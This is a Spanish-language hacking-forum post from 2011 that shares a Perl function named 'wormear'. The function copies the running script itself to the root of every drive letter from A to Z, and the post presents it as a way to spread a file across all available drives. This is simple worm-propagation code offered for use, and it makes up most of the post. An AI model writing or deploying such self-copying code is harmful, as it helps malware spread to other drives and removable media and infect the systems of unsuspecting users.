[Perl] Funcion wormer()

Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

27 Febrero 2026, 15:33 pm

Tema destacado: ¿Eres usuario del foro? Ahora tienes un Bot con IA que responde preguntas. Lo puedes activar en tu Perfil

Foro de elhacker.net

Programación

Scripting

[Perl] Funcion wormer()

0 Usuarios y 1 Visitante están viendo este tema.

Páginas: [1]

Ir Abajo

Respuesta

Imprimir

Autor

Tema: [Perl] Funcion wormer() (Leído 1,845 veces)

BigBear

Desconectado

Desconectado

Mensajes: 545

Ver Perfil

[Perl] Funcion wormer()

« en: 10 Octubre 2011, 16:51 pm »

Con esta funcion podran reproducir un archivo por todas las unidades disponibles

Código

#ascii chr(65) = A | chr(90) = Z
#By Doddy H
 
use File::Copy;
 
sub wormear {
for my $dir(65..90) {
copy($0,chr($dir).":/");
}
}

Ejemplo de uso

Código:


wormear($0);


	En línea

Páginas: [1]

Ir Arriba

Respuesta

Imprimir

Ir a:

Mensajes similares
		Asunto	Iniciado por	Respuestas	Vistas	Último mensaje
		Funcion Ip Publica [Perl] Scripting	isseu	2	3,500	8 Mayo 2010, 00:17 am por leogtz
		[Perl] Funcion Speak() Scripting	BigBear	0	1,966	10 Octubre 2011, 16:51 pm por BigBear
		[Perl] Funcion writeword() Scripting	BigBear	0	1,847	10 Octubre 2011, 16:52 pm por BigBear
		[Perl] Funcion movewin() Scripting	BigBear	0	1,831	11 Octubre 2011, 18:08 pm por BigBear
		[Perl] Funcion killprocess() Scripting	BigBear	0	1,895	11 Octubre 2011, 18:09 pm por BigBear

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines